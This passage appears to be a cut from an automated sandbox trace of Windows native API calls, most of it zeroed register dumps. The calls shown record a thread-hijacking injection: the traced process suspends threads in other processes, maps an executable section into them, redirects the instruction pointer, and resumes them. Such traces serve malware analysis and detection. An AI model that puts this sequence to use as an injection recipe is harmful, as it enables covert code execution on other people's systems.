[350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0599.993] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0599.994] NtClose (Handle=0x1e4) returned 0x0 [0599.994] NtClose (Handle=0x20c) returned 0x0 [0599.995] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xef0, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0599.995] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0599.995] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0599.996] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0x95c000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0599.996] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0605.022] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xed8) | out: ThreadHandle=0x6be92c*=0x1e4) returned 0x0 [0605.022] NtSuspendThread (in: ThreadHandle=0x1e4, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0605.022] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2880000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0605.027] NtGetContextThread (in: ThreadHandle=0x1e4, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xaff9b0, Ebx=0x95c000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xaff958, Eip=0x7742295c, SegCs=0x23, EFlags=0x212, Esp=0xaff940, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0605.027] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0605.028] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x197a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x198000) returned 0x0 [0605.035] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x197a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x3250000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x198000) returned 0x0 [0605.066] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0605.118] NtClose (Handle=0x214) returned 0x0 [0605.118] NtSetContextThread (ThreadHandle=0x1e4, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xaff9b0, Ebx=0x95c000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xaff958, Eip=0x3355927, SegCs=0x23, EFlags=0x212, Esp=0xaff940, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0605.119] NtResumeThread (in: ThreadHandle=0x1e4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0605.119] NtClose (Handle=0x20c) returned 0x0 [0605.119] NtClose (Handle=0x1e4) returned 0x0 [0605.122] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xf24, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x1e4) returned 0x0 [0605.122] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0605.122] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0605.123] NtReadVirtualMemory (in: ProcessHandle=0x1e4, BaseAddress=0x60e000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0605.123] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0610.129] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xe78) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0610.129] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0610.130] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x1e4, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2600000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0610.134] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, 